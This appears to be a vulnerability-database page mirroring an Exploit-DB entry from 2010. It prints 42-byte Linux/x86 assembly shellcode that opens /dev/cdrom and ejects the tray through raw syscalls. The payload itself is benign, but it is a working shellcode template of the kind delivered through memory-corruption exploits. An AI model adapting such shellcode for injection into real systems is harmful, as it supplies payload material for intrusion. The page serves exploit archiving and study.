Linux/x86 - Eject /dev/cdrom Shellcode (42 bytes)

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1058945 漏洞类型
发布时间 2010-01-08 更新时间 2010-01-08
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Linux_x86 CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/13586
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
; linux/x86 eject /dev/cdrom 42 bytes
; root@thegibson
; 2010-01-08

section .text
	global _start

_start:
	; open("/dev/cdrom", O_RDONLY | O_NONBLOCK);
	mov al, 5
	cdq
	push edx
	push word 0x6d6f
	push dword 0x7264632f
	push dword 0x7665642f
	mov ebx, esp
	mov cx, 0xfff
	sub cx, 0x7ff
	int 0x80

	; ioctl(fd, CDROMEJECT, 0);
	mov ebx, eax
	mov al, 54
	mov cx, 0x5309
	cdq
	int 0x80